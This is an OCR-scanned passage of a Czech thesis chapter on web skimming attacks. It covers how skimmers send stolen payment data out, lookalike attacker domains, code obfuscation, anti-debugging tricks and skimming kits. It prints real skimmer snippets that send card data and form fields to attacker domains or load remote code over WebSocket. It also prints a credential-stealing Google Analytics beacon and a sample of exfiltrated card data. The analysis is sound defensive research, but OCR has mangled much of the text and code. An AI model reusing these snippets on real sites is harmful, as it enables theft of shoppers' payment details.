Jeden ze zptsobi, jak tito¢nici odesilaji platebni iidaje, je POST request. Ob-
vykle si pro tyto tucely zaregistruji domény s prithodnymi nazvy, které mohou
byt snadno zaménény s legitimnimi strankami. Kéd, ktery je na infikované
strance, nejdrive ziskd z formulare platebni tidaje a ty poté odesle pomoci
nékteré z téchto moznosti:

 XMLHttpRequest () — ukazka je v kédu [24]
e jQuery.ajax() (asynchronni HTTP request) — ukdzka je v kédu

e fetch()

var http=new XMLHttpRequest();
http.open('POST' ,url,is_sync);
http.setRequestHeader('Content-type', 'application/x-www-form-urlenc
< oded');
http.send(data) ;
return http.responseText;

Koéd 24: Zptsob odeslani platebnich tidaji pomoci POST requestu a XML-
HttpRequest, v proménné data jsou mimo jiné ulozeny platebni tdaje

33



2. WEB SKIMMING

jQuery.ajax({
timeout: 5000,
type: 'POST',
async: false,
crossDomain: true,
crossOrigin: true,
url: 'https://ajax.googapi.com/modules/ajax.php',
data: {
data: btoa(postArr.join("\n"))
}
}) .always (function() {
return true;

B

Kod 25: Zpisob odeslani platebnich tdaji pomoci POST requestu a
jQuery.ajax () — v proménné postArr jsou mimo jiné ulozeny platebni idaje

GET request

Dalsim zpiisobem, jak odeslat data, je vyuziti GET requestu. Data se pak
predavaji jako query string, coz jsou dvojice ndzev a hodnota. Napriklad nazev
je a a hodnota je data atd.:

https://example.com/page.php?a=data&b=data

Kromé toho, ze utoc¢nici mohou zvolit stejné metody, které byly zminény
u POST requestu, tak mnohem radéji v pripadé GET requestu voli méné
napadné zpusoby. Piikladem je napriklad iframe, coz je zndzornéno na nésle-
dujici ukazce

function frm_fill(e) {
var t = document.createElement("iframe");
t.setAttribute("src", e), t.style.display = "none",
— document.body.appendChild(t), console.log("good")
}
frm_fill("https://t.obet.us/gagal/log.php?mag=" + n)

Ko6d 26: Odeslani dat pomoci GET requestu a iframe. V proménné n jsou
ulozeny platebni idaje

Druhym ptikladem vyuziti GET requestu je pouziti img tagu. V piipadé
kédu 27] dtoénik vytvori na webové strance novy objekt img a jako zdrojovou
adresu vlozi URL, kterd obsahuje platebni tidaje. K zobrazeni obrazku nedo-
jde, protoze zadny neexistuje, ale to nicemu nevadi, GET request s platebnimi
udaji je na server uspésné odeslan. Nasledné v tomto konkrétnim pripadé jeste
dojde ke smazani obrazku a zahlazeni stop.
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var b = document.createElement("img");b.width = "1px";b.height =

— "lpx"; b.id = img_id;b.src =

< atob("aHROCHM6Ly9iaWsnLWluc2VydC5jb20vZGU=")+"/ga.php?analytic=" +
< Base64Function(DataName); document.body.appendChild(b) ;

setTimeout (document . getElementById(img_id) .remove(),1500) ;

Koéd 27: Odeslani dat pomoci GET requestu a img na stranku utocnika bing-
insert[.]Jcom/de/ga. js. V proménné DataName jsou ulozeny platebni udaje.
Kéd byl zkracen

WebSocket

WebSocket je internetovy protokol, ktery umoznuje obousmérnou komunikaci
mezi klientem a serverem v readlném case, pri této komunikaci se nevytvari
dalsi pozadavky [51]. Vyuzivaji ho ¢asto chatovaci aplikace, které mivaji na
svych strankach pravé internetové obchody pro komunikaci se zdkazniky, na-
priklad ta od spole¢nosti Zendesk [52]. Komunikace pres protokol WebSocket
je znézornéna na obrazku

Klient Server
GET / ws
Handshake
< Websockets >

obousmeérna komunikace

ukonceni

Obrazek 2.4: WebSocket komunikace, nejdiive se vytvoirl spojeni pomoci
HTTP GET a poté probiha obousmérna komunikace pres webové sockety
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Narazila jsem na dva mirné rozdilné zptsoby vyuziti web soketu pro web
skimming Utoky. Je mozné, Ze se jednd o dvé rtzné skupiny ttocnikid. Prvni
zpusob, jehoz Cést, ktera se objevila na infikované webové strance, je znazor-
néna v kédu aktivné sledoval vSechny formulaie na webové strance a pri
kazdé zméné okamzité poslal nové tidaje k itocnikovi (tags-manager[.]com).
V tomto pripadé navic dochézelo pres web sockety pouze k posilani odcize-
nych udaji, a jak kéd napovida, zbyld ¢ast skodlivého kédu (kterd mimo jiné
obsahovala vytvareni WebSocket spojeni) se nacitala z webové stranky pres
HTTP GET (<script src>).

var s = document.querySelector('head');

var sc = document.createElement('script');

sc.src= "https://tags-manager.com/gtags/script2?utm_referer=7ut
— m_source=&utm_content=&utm_referer="+location.hostname;
s.appendChild(sc);

Kod 28: Prvni piiklad pouziti WebSockets, pres WebSockets se posilaji pouze
ukradené udaje

Druhy zptsob, jehoz cCast, ktera je na infikovaném webu, je zndzornéna
v kédu [29] odesild data az pii kliknuti na tlacitko Odeslat objedndvku. Na-
vic kromé odcizenych dat pres WebSocket posila i skodlivy kéd. Po navazani
spojeni jako prvni dojde k prijmuti skodlivého koédu, ktery je nasledné spus-
tén pomoci new self.Function(a.data).call(this). Tento skodlivy kod
zajistuje sbér udajt z formulara a jejich odeslani.

soc=new
— self.WebSocket("wss://jquerycss.online:80/loader-2.gif");
soc.onmessage=function(a){ new

«» self.Function(a.data).call(this)};

Ko6d 29: Druhy priklad pouziti WebSockets, pres WebSocket se posila i skodlivy
kod

Velmi podobny kéd, jako v je i tento Lisi se predevsim obfuskaci,
diky které se snazi vydéavat za nac¢itani Google Tag Manager skriptu [38].

Koédem [30] byl infikovany internetovy obchod www.eraymedical.com. Ko-
munikace je na obrazku data se odesilaji zakddovana pomoci base64. Pri
blizs§im prozkoumani dekédovanych dat lze najit platebni udaje:

2323 9909 3294 8239%payment [cc_exp_month]=2&payment. ..

Oproti GET nebo POST requestu WebSockety prinasi tu vyhodu, ze byvaji
castéji opomijeny a komunikace, ktera prochézi pres né, neni analyzovana.
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<!-- Google Tag Manager -->
<script>(function(w,d,s,1l,i){w[l]=w[1]||[];w[1].push({'gtm.start":

new Date().getTime(),event: 'gtm.js'}) ;var

— f=d.getElementsByTagName (s) [0],
j=d.createElement(s),dl=1!='datalayer'?'&l="+1:"'";j.async=true;j.src=
'https://www.googletagmanager.com/gtm. js?7id="'+i+dl;f.parentNode.inser
< tBefore(j,f);

}) (window,document, 'script', 'datalayer','GTM-TPMMNBO') ;

var soc;if(new RegExp(atob("Y2h1lY2tvdXQ=")) .test(window.location))new
— self["Function"||"Object"] (atob("c29jPW51dyBzZWxmL1d1Y1NvY2t1dCgi
— d3Nz0i8vdGFnbWFuYWdlci50ZWNo0jgwL2xvYWR1ciOyLmdpZiIp03NvYy5vbmllc
— 3NhZ2U9ZnVuY3Rpb240YS17I1G51dyBzZWxmLkZ1bmNOaWOuKGEUZGFOYSkuY2FsbC |
< h0aG1zKX07")).call(this);

</script>

<!-- End Google Tag Manager —->

Kéd 30: Obfuskovany priklad pouziti WebSocket, po deobfuskaci ziskdm
témér shodny kod, jako v predchozim piipadé. Hlavni rozdil je v URL:
wss://tagmanager.tech:80/loader-2.gif. Ta napovid4, ze za ttoky stoji
pravdépodobné stejny tutoc¢nik, v obou ptripadech je pouzito loader-2.gif

Name ®  Headers Messages Imitiator  Timing
|| 1605219593696
J . o Al ¥ Enter regex, for exam
| | loader-2.gif
[] 1505219426303 Data L. |Time
|_| loader-2.gif I var a0_Ox1b5d=["clk 'test’, password',' querySelectorall’, type', random’, replace’, to... | 3. | 23t
I {infe""bnVsbDOxmZvemn 1fa2VEPVIEMTVGUTTZ ¥aHhZR28mY29ud GV4dD ja.. 6. 23:...|
I jQuery.noConflict(); 20| 23....
v}
hostname: "www_eraymedical_com"
info: "bnVWsbD@xImIvemlfaZVSPVIEMTVGCUSETTZYaHhZR28mY25udGY4dD1jaGyia291dCT]
key: "1685219347142-186288375"

Obréazek 2.5: Nejdrive doslo k prijmuti druhé casti skodlivého kédu a poté
k odeslani udaju
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null=1&form_key=RD15FqOmM6XhxYGo&context=checkout&context=checkout&co
untry_id=US&region_id=1&=advancedshipping_advancedshipping&form_key=R
D15Fq0mM6XhxYGo&payment [method]=authnetcim&payment [cc_last4]=8239&bil
ling-address-same-as-shipping=on&country_id=US&region_id=1&=2323 9909
3294 8239&payment [cc_exp_month]=2&payment [cc_exp_year]=2020&payment [c |
c_cid]=455&payment [method] =paypal_express&qty=1&additional [subscribe] |
=true&additional [register]=true&=Apply Discount&orderId=
&context=checkout&

Koéd 31: Data posilana web sockety, byla zakédovana pomoci base64. Lze si
vSimnout, ze v tomto pripadé dochézi k odesilani dat ze vsech policek, které
formular obsahoval

Cookies, localStorage, sessionStorage

Kromé okamzitého odeslani tidaju k ttocnikovi je lze jako mezikrok ulozit do
cookies, pripadné localStorage nebo sessionStorage. V tabulce jsou rozdily
mezi riaznymi druhy tlozist. Nejedna se o konecéné teseni, k témto datim je
mozné se dostat také pouze z prohlizece konkrétniho uzivatele, ale 1ze to pouzit
jako zptsob, jak zkomplikovat odhaleni. Pokud se celd objednavka na webové
strance sklada z nékolika krokii, muze ttoc¢nik data v mezikrocich uklddat do
prohlizece a odeslat je vSechny az po dokonceni celé objednavky.

Cookies LocalStorage SessionStorage
Velikost 4 KB 5 MB 5 MB
) doména (bez sub- L.
Dostupnost doména , zalozka
domén)
Expirace nastavitelné nikdy zavieni zalozky
K dispozici M@ strané serveru pouze na strané pouze na strané
P i klienta klienta klienta

Tabulka 2.1: Porovnéni Cookies, localStorage a sessionStorage [5]

UloZeni na serveru

Kazdy POST nebo GET request na jinou doménu muze byt celkem napadny,
proto se nabizi i moznost data neodesilat (POST, GET, WebSocket), ale ulozit
je nékde na napadené webové strance. Tteba jako soubor anebo jesté 1épe do
obrazku. Pokud obrazky budou pristupné pro kohokoliv, mize si je Gito¢nik
néasledné sam stdhnout a ziskat tim platebni idaje bez toho, aniz by doslo
k primému odeslani z napadené webové stranky.

Konkrétni pripad, kdy k tomu doslo, byl popséan zde [53], data se ukladala
pomoci PHP funkce file_put_contents do slozky wp-content/uploads.
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2.3.3 Format odesilanych dat

S odesilanim platebnich tidajh se poji i otazka jejich formatu. Nejcastéji itoc-
nici vyuzivaji nasledujici moznosti:

e plaintext — neupravené
* base64

o zasifrované — blowfish, AES, XOR, RC4, RSA

Prvni dvé moznosti jsou nejjednodussi, protoze si itocnik nemusi spolec¢né
s daty posilat zadny klic. Nevyhodou pro tto¢niky je, ze tato data mohou
byt snaze objevena, neni obvyklé napriklad posilat platebni tidaje pomoci
nesifrovaného GET requestu v img tagu.

2.3.4 Misto, kam se data odesilaji

Utoénici vyuzivaji vySe zminéné zptsoby k odesilani dat. Velmi ¢asto data
odesilaji na vlastni doménu, kterou si pro tento tcel registrovali. Ta byva casto
shodné s doménou, odkud se pivodné stahl skodlivy kéd. Pripadné vyuzivaji
néjakou jinou infikovanou webovou stranku, ke které maji pristup. Napriklad:

https://savemoneyoffice.com/errors/default/403.php

Objevily se ovsem i pripady, kdy ttocnici vyuzili Telegram API a Google
Analytics.

Google Analytics

Google Analytics je sluzba od Googlu, kterd umoznuje sledovat navstévnost
webové stranky. Uto¢nici zneuzivaji toho, ze Google Analytics vyuziva velké
mnozstvi webovych stranek, diky ¢emuz mohou obejit Content Security Po-
licy, a také toho, ze umi prijimat data z webovych stranek. Utoéniktm tudiz
staci, kromé infikovani dané webové stranky, vytvorit si vlastni tcet na Google
Analytics a zneuzit tuto funkci k posilani ukradenych dat.

Ukézka je v kédu Jednd se o demo ukédzku od Perimexu [54]. Pomoci
tohoto kédu je mozné odcizit idaje a odeslat je na Google Analytics.

Telegram

Telegram je Sifrovana sluzba pro posilani zprav, podobna jako treba What-
sApp. Nabizi dvé API — Bot API, které umoznuje vytvorit vlastniho bota,
a Telegram API, které umoznuje vytvorit vlastniho telegram klienta.

Pro web skimming se hodi Bot API, protoze s vytvorenym botem lze jedno-
duse komunikovat pomoci POST nebo GET requestu, preddvani parametra
je podporovano jako URL query string, application/x-www-form-urlencoded,
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username = document.getElementsByName ("session[username_or_email]");
password = document.getElementsByName ('session[password]');

window.addEventListener("unload", function logData() {
navigator.sendBeacon("https://www.google-analytics.com/collect",
'v=1&t=pageview&tid=UA-#######-#&cid=555&dh=perimeterx. com&dp=72F '+
btoa(username.item(0) .value +':'+ password.item(0).value)

< +'&dt=homepage');

s

Kéd 32: Ukazka poslani odcizenych udaju na Google Analytics [54]

application/json nebo multipart/form-data [55]. Bot pak muze p¥ijimat zpravy
z infikovanych webovych stranek. Requesty se posilaji na api.telegram.org,
coz oproti komunikaci s neznamymi servery neni zdaleka tak podezrielé. Navic
v pripadé komunikace s botem neni podezielé ani sifrovani dat. Requesty jsou
ve formatu:

https://api.telegram.org/bot<token>/METHOD_NAME

V prikladu utocnici pouzili POST request a format application/json.
Ptvodni skodlivy kéd byl obfuskovan pomoci eval (atob(<base64>)), kdd
v ukazce je deobfuskovany.

var x = new XMLHttpRequest();
x.open("POST",
"https://api.telegram.org/bot"+tbot+"/sendMessage", true);
x.setRequestHeader('Content-Type', 'application/json;
charset=utf-8');
x.withCredentials = false;
var dd = JSON.stringify({

chat_id: tchat,

text: tmessage
3
x.send(dd) ;

Ko6d 33: Odeslani dat za pouziti Telegram Bot APT [56]

2.4 Zptsoby vyuzivané utocniky ke skryvani kédu
Césteéné uz bylo naznaceno, jakymi zptisoby se Gtoénici vyhybaji odhaleni
pomoci riizné obfuskace a pouzivani podobnych domén a GET requestt. Nyni

rozeberu podrobnéji nasledujici zptisoby:
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e Skryvani pomoci dobte zvolené URL

¢ Obfuskace kodu

2.4.1 Skryvani pomoci dobre zvolené URL

Uz jsem naznacila, ze dobfe zvolena doména muze zabranit rychlému odhaleni
utoku. Jednim z hezkych piikladi je doména http[.lps [57], kterou ttocnici
doplnili cestou, ktera se shodovala s doménou napadeného internetového ob-
chodu — http.ps//www.sh24.de, http.ps//www.airsus.nl.

Nékdy také dtocnici vyuzivaji toho, Ze se doména nemusi zobrazit celd,
napriklad z divodu malého displeje mobilniho zarizeni, a proto si zaregistruji
naptiklad doménu paypal.com-pay.example.cz.

Podobné domény

Pravdépodobné nejcastéji se s napodobovanim jiz existujicich legitimnich webo-
vych stranek lze setkat v ptipadé phishingu. Utocnici se snaz{ zmdst uzivatele
a presvédcit ho, ze je na spravné webové strance. Podobnou techniku ttocénici
vyuzivaji i u web skimming utok1, ackoliv v tomto pripadé se nesnazi zmast
primo uzivatele, protoze ten URL, ze které se nacita skodlivy kéd, obvykle
nevidi. Snaz{ se zmdst ty, kteri zdrojové kédy analyzuji, piipadné i programa-
tory, ktefi si pri ipravé zdrojovych kédh stranky nemusi vSimnout skodlivého
kédu.

V rdmci web skimmingu dochazi nejcastéji k vytvareni domén, které jsou
podobné Google Analytics (google-analytics.com), jQuery (jquery.com),
Sucuri (sucuri.net) nebo Cloudflare (cloudflare.com).

Typosquatting je metoda, kterd je zalozena na chybé uzivatele pri psani
domény. Web skimming zase nevyuziva primo chybu uzivatele, ale chybu ¢lo-
véka, ktery analyzuje zdrojové kédy. Existuje nékolik zptisobi, které utocnici
pouzivaji:

e zaména jednoho ¢i vice znakl za jiné

— google-analytics.com => google-anatytics[.]com
— sucuri.net => sucurl[.]net

— fonts.gstatic.com => fonts-gstatic[.]com
e prohozeni znaku

— google-analytics.com => google-anaiytlcs[.]com
e pridani znakd navic

— sucuri.net => sucurril.]net
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— cloudflare.com => cloudfliare[.]com
e zidména TLD

— jquery.com => jquery[.]lsu

— zdassets.com => zdassets[.]net

Lze si vsimnout, Ze ttoc¢nici radi prohazuji i a 1, pripadné se také na
zaménu hodi velké 1. Dalsi piiklady domén registrovanych ttoc¢niky pro web
skimming ttoky, na které jsem narazila, jsou v ukazce

adw-gooqle[.]com
blog-mage[.]com
clickstrackings[.]com
googie-seo[.]com
google-ssm[.]com
google-ahatytics[.]com
jqueryupdatel[.]com
jquery-magento[.]com
paypalapiobjects[.]com
path-magento[.]com
script-magentol[.]com
sucuritester[.]com
onlinecdn-js[.]com
tagmanager[.]tech
xcdn[.]space

Kéd 34: Priklady tutocniky registrovanych domén

Punycode reprezentuje Unicode znaky pomoci ASCII znaki v doméné.
Kazda doména v Punycode méa prefix xn-, takze by se mohlo zdat, ze by
nemusel byt pro uzivatele problém tyto domény rozeznat, ovsem prohlizece
nam chtéji zjednodusit zivot, takze misto osklivé reprezentace v Punycode,
zobrazi doménu v Unicodu — napiiklad xn-googe-95a.com se zobrazi jako
google.com nebo xn-gstatc-7va.com se zobrazi jako gstatic.com [58].

2.4.2 Obfuskace kodu

Mimo to, zZe je dulezité, kde konkrétné je skodlivy kdd na webové strance scho-
van, zalezi i na tom, jak vypada. Snadno ¢itelny kéd mize byt mnohem snaze
objeven nez kdéd, ktery byl obfuskovan. Cilem obfuskace je zamaskovat, co
skodlivy kéd ve skutecnosti déla. Diky obfuskaci autoti skodlivych kédu skry-
vaji napriklad rizna klicova slova, ktera by mohla vést ke snadnému odhaleni.
Stejné tak je pro utocniky dtlezité skryt v kédu URL.
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Zamérim se na obfuskaci a deobfuskaci skodlivych kédt v JavaScriptu,
a to z toho divodu, Ze i ttoc¢nici pro web skimming ttoky obvykle vyuzivaji
JavaScript. To je déano pravdépodobné i tim, ze 97,1 % webovych strdnek
pouziva JavaScript na strané klienta [59].

Nékteré automatické néstroje pro obfuskaci JavaScriptu:

o www.javascriptobfuscator.com (moznost placené verze)
o www.obfuscator.io (vétsi moznosti customizace)
o www.freejsobfuscator.com

Stejné jako se k obfuskaci pouzivaji automatické nastroje, tak se i k deob-
fuskaci pouzivaji razné automatické néastroje, napriklad:

e www.matthewfl.com/unPacker.html
e www.deobfuscatejavascript.com

e www.beautifier.io

e www.lelinhtinh.github.io/de4js/

Casto je ale snazsi pouze zhruba zjistit, co dany kéd déla, a najit dilezité
mista, nez se pokouset zrekonstruovat cely ptvodni kéd.

Nelze vzdy jednoduse fict, co je obfuskované, to je skodlivé. Existuje né-
kolik duvodi, pro¢ obfuskovat kéd, i kdyz se nejedné o skodlivy kdd:

e ochrana obchodniho tajemstvi
o zmenseni velikosti kédu, coz vede ke zrychleni stahovani

e ochrana proti obejiti zadani licen¢niho ¢isla

Komentare a jména proménnych

Ke zmateni se do kédu pridédvaji komentare, které maji za cil presvédcit, ze se
jedna o kéd s néjakou jinou funkci. Napriklad:

<!-- jQuery Common Library -->
Proménné se bud pojmenovavaji tiplné nesmyslné:
A2 _6dbf234£82905ccf0d28cb = 'https://jquery.su/min-1.12.4.7js'

Anebo naopak s vyznamem, ale jinym, nez proménné ve skutecnosti mé.
Takovy piiklad je zndzornén v ukazce 35 proménna fb_api_key nemd s Fa-
cebookem nic spoleéného a ani se nejednd o zadny API kli¢, ve skute¢nosti
proménné obsahuje skodlivou URL.
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var fb_api_key =

— atob("aHROcHM6Ly9wYX1lwcm9jZXNzb3IubmVOL2Fzc2V0cy9sbWt0YWIhLmpz") ;
var fb_api = document.createElement("s"+"cri"+"pt");

fb_api.src = fb_api_key;

document .head.appendChild (fb_api) ;

Kéd 35: Skodlivy kéd, ktery napodobuje Facebook

Skryti stringt a logiky

Uz jsem zminila, ze se obfuskace ¢asto pouziva ke skryti klicovych slov, v pri-
padé web skimmingu se jedna obvykle o nazvy funkei a URL. Casto dochézi
pouze k zakdédovani pomoci base64. V tom pripadé lze cely kéd vzit, zakédovat
pomoci baseb4, a pak pouzit eval (atob("base64kod"). OvSem v nékterych
pripadech jsou Utoc¢nici vynalézaveéjsi a pouzivaji vlastni sifrovani, které klidné
muze vypadat jako base64, pak je k tomu potreba i vlastni desifrovaci funkce.

Pokud tutocnici nechtéji zakdédovat nebo zasifrovat cely kéd, ale pouze né-
ktera klicova slova, bézné tyto slova daji zaSifrovand do pole, které se pak
v prubéhu desifruje, pfipadné se s nim dal manipuluje (prohazovani, posou-
vani apod.). Ukazka, jak to muze vypadat, je v kédu do pole se pristupuje
pomoci funkce b(), napriklad b('0xa5"', 'TwuS').

a = ["pole", "zasifrovanych", "stringu"];
var b = function(c, d) {

c = c - 0x0;

var e = alc];

var h = function(l, m) {

// DESIFROVANI

}

b['PHLsYD'] = h

return b['PHLsYD'] (e, d)
}
b('0Oxab', 'TwuS')

Ko6d 36: Pseudokdd prikladu obfuskace za tcelem skryti stringt

Ke skryvani ndzvt funkef ttoc¢nici vyuzivaji to, Zze document . querySelectorAll ()
lze také psat jako document ['querySelectorAll'] (), a potom uz lze s que-
rySelectorAll pracovat jako se stringem, tudiz ho mtzeme vlozit do pole, a pak
uz stac¢i misto puvodniho kédu psat document [pole[index]] (). To stejné lze
provést i s dalsimi funkcemi.

Dalsim prikladem skryti dilezité URL je kod V tomto pripadé je cast
legitimni domény (googletagmanager.com) nahrazena pomoci

replace("googletag",s+"-")
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Vyhodou pro ttocniky je, Ze v kddu neni nikde skodlivda URL, ani podeziela
klicova slova, tim padem se kéd hiife analyzuje.

<!-- Google Tag Manager -->
<script>!function(e,t,a,n){e[nl=eln]||[],e[n].push({"gtm.start":

(new Date).getTime(),event:"gtm.js"});var

— r=t.getElementsByTagName (a) [0],

g=t.createElement (a),o="datalayer"!=n?"&utm_referer="+n:"",s="tags";g,
< .async=!0,
g.src=("//googletagmanager.com/g"+s+"/"+a+"27utm_content=&utm_source=
— "+o0)

.replace("googletag",s+"-"),r.parentNode.insertBefore(g,r)
}(window,document,"script",location.hostname) ;

</script>

<!-- End Google Tag Manager —-—>

Kéd 37: Skodlivy kéd, ktery skryva URL pomoci replace ()
Dalsi technikou na skryvani klicovych slov, je jejich rozdélovani, napriklad:
a = "qu" + "e"; b = "cto" + "rAll"; c = "rySele"; q = atc+b

Dalsi moznost obfuskace pomoci eval() je v ukdzce Obfuskovan byl
kéd console.log("test") pomoci online nastroje [60]. Je vidét, Ze v tomto
pripadé nedojde ke skryti strigti, je skryta pouze logika.

eval (function(p,a,c,k,e,r){e=String;if (! ''.replace(/ /,String))
— A{while(c—-)rlcl=klc]||c;k=[function(e){return
rlel}];e=function(O{return'\\w+'};c=1};while(c--)if (k[c])p=
p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return
pr('0.1("2")",3,3, 'console|logltest' .split('["'),0,{}))

e

Ko6d 38: Dalsi moznosti obfuskace pomoci eval ()

Velmi jednoduchy zptisob skryti stringti za pouziti Sestnactkové soustavy
je znézornén v koédu

var _Obe47=["\X3B\X20","\X63\X6F\X6F\x6B\X69\X65”,“\X3D”,“\X73J
< \x70\x6C\x69\x74", "\x6C\x65\x6E\x67\x74\x68", "\x73\x68\x69\ |
< x66\x74","\x3B","\x70\x6F\x70"]

Koéd 39: Skryti za pomoci Sestnactkové soustavy
Vétsina obfuskaci, které vyuzivaji funci eval (), jako tfeba ta jiz zminénd

v ukézce lze relativné snadno deobfuskovat, obvykle tieba nahrazenim
eval() za console.log().
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Anti-debugging techniky

Obfuskovat kéd zpiisobem, aby byl hiife ¢itelny je jedna véc, druha véc je,
obfuskovat ho tak, aby se hur analyzoval automatickymi nebo alespon polo-
automatickymi nastroji.

Developer Tools Jedna z moznosti, kterou atocnici vyuzivaji, je kotrola,
zda jsou v prohlizeci otevieny Vyvojarské nastroje. To lze pomoci nasledujicich
funkei:

¢ window.devtools.isOpen
e window.devtools.orientation
o devtoolschange (event listener)

Zadna z téchto moznosti neni moc nendpadnd, proto také existuje lepsi,
znézornénd v ukazce

let div = document.createElement('div');

let loop = setInterval(() => {
console.log(div) ;
console.clear();

B

Object.defineProperty(div, "id", {get: (O => {
clearInterval(loop);
alert("Dev Tools detected!");

),

Kéd 40: Detekce oteviené konzole pomoci vytvoreni getteru, pokud je getter
spustén, znamend to, Ze je oteviend konzole [61]

Checkout stranka Konkrétni metoda vyuzivanid u web skimming utoku
je kontrola, na jaké URL se uzivatel nachazi. Vétsinou lze z URL snadno
poznat, ze se jedna o checkout stranku, a proto utocnici skodlivy kéd casto
nactou pouze na této strance, a ne nikde jinde. Kéd, ktery ttoc¢nici vyuzivaji
ke kontrole je v ukdzce [A1]

new RegExp(atob('Y2hlY2tvdXQ="'))['test'] (window['location'])

Kéd 41: Cast kédu, ktery kontroluje na jaké URL se uzivatel nachézi

Odlozené spusténi Nékdy se uto¢niktum vyplati nespoustét skodlivy kéd
ihned, ale vyckat predem definovany cas a az pak ho spustit. Toho lze docilit
pomoci funkce setTimeout nebo setInterval.

46



2.4. Zpusoby vyuzivané utocniky ke skryvani kédu

Detekce zmény kédu Pri analyze kédu je nejjednodussi si ho zformato-
vat a upravit napriklad pomoci ptridani raznych debugovacich vypist. Z toho
diavodu se tto¢niktim hodi umét detekovat, zda byl kéd nebo alespon néjaka
jeho ¢ast zménéna. To lze délat napiiklad pomoci regexii, anebo lze vybranou
funkci, u které chceme kontrolovat integritu, prevést na string a poté do néj
pristupovat pomoci indexu, tim je mozné detekovat jakoukoliv zménu v kédu
této funkce. Tento string (vytvoreny z funkce) tto¢nici mohou pouzivat t¥eba
jako kli¢ k desifrovani, kazda zména v kodu funkce se projevi. Pro lepsi pred-
stavu je tento zptisob znazornén v ukazce Jakmile dojde k naformatovani
kédu, zjisti se to a kod se zachova jinak.

var a = function test() {console.log("test");}
if (a.toString () [17] != "c") {
console.log('changed');

3

Kéd 42: Ukazka testu integrity kédu

Velikost okna Vlastnosti outerHeight a outerWidth vraci velikost celého

okna prohliZece (véetné zalozek), zatimco innerWidth a innerHeight vraci ve-

likost aktualniho obsahu okna, ve kterém tuto metodu volame. Tim lze napti-

klad poznat, zda jsou otevieny Developer Tools. Nevyhodou je, Ze pokud jsou

Developer Tools otevieny v samostatném okné, nedojde k jejich zdetekovani.
Kontrola pak muze vypadat takto:

e window.outerWidth - window.innerWidth > 160

¢ window.outerHeight - window.innerHeight > 160

Rozdilny obsah Webovy server miize na zakladé riznych parametri vracet
rozdilny obsah. Stranka muze vratit jiny obsah, kdyz je na ni pristupovano
v prohlizeci, a kdyz se z ni nacita skript na napadené webové strance. K tomuto
miiZe server vyuzit informace obsazené v HT'TP hlavicce (host, HT'TP referer,
User-Agent, ...).

Piikladem je tato URL: static.zdassets[.]net/public/1ib. js. Skod-
livy kéd se zobrazil pouze v pripadé, kdy doslo k nacteni pres script src tag
na napadené strance, pfi pfimém pristupu ne.

7 toho plyne, Ze ttocnici pravdépodobné kontroluji HTTP referer. Re-
ferer 11k, z jaké stranky se na danou stranku pristupovalo [62]. Pfi pfimém
pristupu v prohlizeci hlavicka totiz referer neobsahuje. V ptripadé nacteni kédu
na infikovaném webu je referer pravé dany web.
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2.5 Analyza skodlivého kédu

Analyzovat obfuskovany skodlivy kod nemusi byt vzdy tplné snadné, prede-
v$im v pripadech, kdy jsou pouzity rtzné anti-debugging techniky. Existuji
dva pristupy, jak kédy analyzovat, velmi ¢asto se pouzivd kombinace obou.

Staticka analyza Jedna se o analyzu kodu, pri které nedochézi ke spusténi
kédu, v této fazi je vétsim problémem obfuskace nez anti-debugging
techniky. Provadi se obvykle alespon ¢astecna deobfuskace kodu.

Dynamicka analyza Pri dynamické analyze je kéd spoustén a debugovan,
proto jsou anti-debugging techniky na obtiz. Vysledek spusténi diky nim
miuze byt rozdilny od toho, kdy je kéd spoustén norméalné. Dynamicka
analyza se obvykle provadi ve virtudlnim prostredi, aby nedoslo k infi-
kovani samotného pocitace. Debugovat pak lze pomoci ptrikazové radky,
IDE anebo i online néstroju, které bézi v prohlizeci.

2.6 Perzistence web skimming utoka

Na napadenych internetovych obchodech muze skodlivy kéd vydrzet bez po-
vSimnuti i dlouhé meésice. Z historie lze zminit napiiklad Gtok na Warner
music (nebylo zvefejnéno, které konkretni jejich internetové obchody byly na-
padeny), ktery vydrzel zhruba t¥i mésice [63] nebo také itok na internetovy
obchod ESPN (espn.reprintmint.com), ktery trval 30 mésicu [64].

V nékterych pripadech dokonce zustdvaji skodlivé kody na napadenych
strankach jesté dlouho poté, co uz je stranka, kam se odesilaji platebni tdaje,
nefunkéni. To znadi, ze starost o bezpecnost je v nékterych ptripadech opravdu
mala.

2.7 Automatické nastroje vyuzivané k provedeni
utoku
Web skimming je natolik rozsifeny, ze stejné jako existuji phishing kity pro

phishing, tak existuji skimming kity pro web skimming. Tyto nastroje se pro-
dévaji na dark webu a rznych forech.

Phishing kit je nastroj pro jednoduchou tvorbu phishingového utoku, od
phishingové stranky az po rozesilani phishingovym emailt.

Konkrétni nastroje pro tvorbu web skimming ttok:

Inter Skimmer kit Tento kit obsahuje jak generator skodlivého kédu a na-
stroje na jeho vlozeni na webové stranky, tak tlozisté ukradenych dat.
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Jak vypadd, je zndzornéno na obrazku 2.6 Kit se prodédval za 1 300
dolarti nebo vymeénou za rozdéleni vydélku [2].

Inter & MaxMindDB  {} JS-TenepaTop

2§ Jaw6opa @ Lomenbl 1B Cnucok CC B HacTpoiiku akcnopTa Q' Anuacel

Daw6opa

E Total CC @ Total domains m New today

CTaTucTuKa HOBbIX KapT 3a nocnegHue 7 oHen
Obrazek 2.6: Inter skimmer kit [2]

JS Sniffer Tento kit byl poprvé zaznamenan v roce 2017, stejné jako pred-
chozi jmenovany umi generovat skodlivy kéd a ukladat ziskané udaje [3].

panel+ admin (@)

Generate JS Sniffer Code

LINK TO GATE FILE * REGEXP FOR FILTER

Search NAME at first (default)
© Search ID at first (magento CMS)

Generate

GENERATED IS CODE

Copyright © 2017 Poter. All rights reserved,

Obrazek 2.7: JS Sniffer generdtor web skimming kédu [3]
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KAPITOLA 3

Nedavné velké web skimming
utoky

V této kapitole rozeberu nékolik web skimming utokt, které probéhly mezi
lety 2018 a 2020. Na obrazku je znazornéna ¢asova osa, kterd kromé dale
rozebiranych Utoku zachycuje i dalsi napadené internetové stranky velkych

firem.
Adverline Leicester City FC The Dura Mater
British Airways The Guardian Gold Bullion Boom!
Ticketmaster Puma Australia Smith & Wesson Clair's \|Nishtrend

D P A WD D WD WD WO WO WO WO W WO WO WO WO 9 O O O O O O OO dd O
2 2 4 2 2 2 2 2 2 2 2 3 2 2 2 2 2 3 3 Vv Vv Vv Vv Vv Vv Vv \V \V \V \V \V
R R M O A O IR M P g B I A A O MR P R P RN IR PR

Newegg Forbes Macy's Tannico

Sixth June Juwelier Steiner

Obrazek 3.1: Casova osa web skimming ttokt 2018-2020

